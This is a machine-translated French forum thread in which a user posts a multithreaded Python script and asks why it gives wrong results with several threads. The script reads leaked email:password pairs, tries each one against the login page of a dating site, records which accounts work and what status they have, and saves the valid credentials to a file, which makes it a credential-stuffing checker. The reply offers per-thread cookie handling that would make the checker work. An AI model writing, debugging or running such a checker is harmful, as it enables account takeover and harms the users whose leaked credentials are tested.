2010-10-01 19 views
0

Hell All.file d'attente de thread python question

m'a fait un script python avec un fil qui vérifie certains de compte existent dans un certain site Web

si je lance le thread 1, il fonctionne bien, mais si fil d'augmentation telle que 3 ~ 5 et au-dessus,

le résultat était très différent de comparer avec le fil 1 et j'ai été vérifié manuellement et

si j'augmente le résultat du fil n'était pas correct.

Je pense que certains de mes thread code ont besoin de syntoniser ou comment utiliser le module de file d'attente?

Quelqu'un peut-il conseiller ou régler mon script? Merci d'avance!

# -*- coding: cp949 -*- 
import sys,os 
import mechanize, urllib 
import cookielib 
import re 
from BeautifulSoup import BeautifulSoup,BeautifulStoneSoup,Tag 
import re,sys,os,mechanize,urllib,threading,time 

# Maximum number of process to spawn at any one given time. 
MAX_PROCS =5 

maillist = "daum.txt" 
threads = [] 
SAVEFILE = 'valid_joyhunt.txt' 

# Threading class 
class CheckMyThread (threading.Thread): 
llemail = "" 
llpassword = "" 
def __init__ (self , lemail, lpassword): 
    self.llemail = lemail 
    self.llpassword = lpassword 
    threading.Thread.__init__(self) 
    pass 

def run (self): 
    valid = [] 
    llemail = self.llemail 
    llpassword = self.llpassword 
    try: 
    params = urllib.urlencode({'userid':llemail, 'passwd':llpassword}) 
    rq = mechanize.Request("http://www.joyhunting.com/include/member/login_ok1.asp", params) 
    rs = mechanize.urlopen(rq) 
    data = rs.read()  
    logged_in = r'var _id' in data     #정상 로그인       
    if logged_in : 
     rq = mechanize.Request("http://www.joyhunting.com/myjoy/new_myjoy.asp") 
     rs = mechanize.urlopen(rq) 
     maindata = rs.read(50024) 
     jun_member = r"준회원" 
     save = open(SAVEFILE, 'a') 
     for match in re.finditer(r'<td height="28" colspan="2" style="PADDING-left: 16px">현재 <strong>(.*?)</strong>', maindata): 
     matched = match.group(1)  
     for match2 in re.finditer(r"var _gd(.*?);", data): 
     matched2 = match2.group(1) 
     print '%s, %s' %(matched, matched2) 
     break 
     rq1=mechanize.Request("http://www.joyhunting.com/webchat/applyweb/sendmessage_HPCK_step1.asp?reURL=1&myid="+llemail+"&ToID=undefined&hide=undefined") 
     rs1=mechanize.urlopen(rq1) 
     sendmsg= rs1.read() 
     #print sendmsg  
     match3 = '' 
     for match3 in re.finditer(r":'\+(.*?)\);", sendmsg): 
     matched3 = match3.group(1) 
     #print matched3 
     print 'bad' 
     break 
     if match3 =='': 
     save.write('%s, %s, %s:%s ' %(matched, matched2, llemail, llpassword + '\n')) 
     save.close()  
     print '[+] Checking: %s:%s -> Good!' % (llemail, llpassword)     
    else: 
    print '[-] Checking: %s:%s -> bad account!' % (llemail, llpassword) 
    return 0    
    except: 
    print '[!] Exception checking %s.' % (llemail) 
    return 1 
    return 0 
try: 
listhandle = open(maillist); 
#Bail out if the file doesn't exist 
except: 
print '[!] %s does not exist. Please create the file!' % (maillist) 
exit (2) 

#Loop through the file 
for line in listhandle: 
#Parse the line 
try: 
    details = line.split(':') 
    email = details[0] 
    password = details[1].replace('\n', '') 

#Throw an error and exit. 
except: 
    print '[!] Parse Error in %s on line %n.' % (maillist, currline) 
    exit 

#Run a while statement: 
if len(threads) < MAX_PROCS: 
    #Fork out into another process 
    print '[ ] Starting thread to check account %s.' % (email); 
    thread = CheckMyThread(email, password) 
    thread.start() 
    threads.append(thread) 

else: 
    #Wait for a thread to exit. 
    gonext = 0 
    while 1 == 1: 
    i = 0 
    #print '[ ] Checking for a thread to exit...' 
    while i < len(threads): 
    #print '[ ] %d' % (i) 
    try: 
    if threads[i]: 
     if not threads[i].isAlive(): 
     #print '[-] Thread %d is dead' % (i) 
     threads.pop(i) 
     print '[ ] Starting thread to check account %s.' % (email); 
     thread = CheckMyThread(email, password) 
     thread.start() 
     threads.append(thread) 
     gonext = 1 
     break 
     else: 
     #print '[+] Thread %d is still running' % (i) 
     pass 
    else: 
     print '[ ] Crap.'; 
    except NameError: 
    print '[ ] AWWW COME ON!!!!' 
    i = i + 1 
    time.sleep(0.050); 
    if gonext: 
    break 

Répondre

0

Pouvez-vous préciser quels sont les résultats différents? D'après ce que je vois, le code fait beaucoup plus que de vérifier le compte. D'après ce que je vois, vous ajoutez à un seul fichier à partir de plusieurs threads, je dirais que ce n'est pas thread-safe.

En outre, AFAIK Mechanize utilise le stockage partagé des cookies pour toutes les demandes, ce qui est probablement une interférence. Utilisez mechanize.Browser() séparé à l'intérieur de run() au lieu de mechanize.Request().

+0

Salut, si je cours le thread 1, le résultat vérifié du compte est correct mais si je cours beaucoup de résultat de fil n'était pas correct, certain compte vivant mais vérifié vérifié est mort. Comment puis-je sécuriser le thread ou utiliser Queue pour sécuriser le thread. merci d'avance ..désolez mon anglais – paul

+0

Le problème semble être de mécaniser le stockage de cookie partagé (peut-être utiliser 'CookieJar' au lieu de' Browser() '?). En tout cas; pourquoi insistez-vous sur l'utilisation de la file d'attente? Ce n'est pas une balle magique de sécurité. – Almad